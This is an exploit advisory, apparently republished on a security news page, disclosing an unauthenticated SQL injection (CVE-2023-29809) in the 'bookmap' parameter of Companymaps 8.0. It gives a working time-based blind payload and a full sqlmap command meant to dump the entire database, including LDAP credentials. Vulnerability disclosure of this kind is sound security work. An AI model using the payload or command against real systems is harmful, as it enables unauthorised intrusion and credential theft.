Exploit/Advisories no image

Published on May 4th, 2023 📆 | 8234 Views ⚑


Companymaps 8.0 SQL Injection – Torchsec


# Exploit Title: Unauthenticated SQL injection
- Google Dork:
- Date: 27.04.2023
- Exploit Author: Lucas Noki (0xPrototype)
- Vendor Homepage: https://github.com/vogtmh
- Software Link: https://github.com/vogtmh/cmaps
- Version: 8.0
- Tested on: Mac, Windows, Linux
- CVE : CVE-2023-29809


The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message:
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in /var/www/html/rest/booking/index.php on line 152


Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload:

The page will sleep for two seconds. This confirms the SQL injection.

*Steps to reproduce:*

1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```

2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials.
python3 sqlmap.py -u "http:///rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

## Request to the server:

Screenshot 2023-04-30 at 22.23.51

## Response from the server:

Look at the response time.

Screenshot 2023-04-30 at 22.24.35

Source link

Tagged with:

Comments are closed.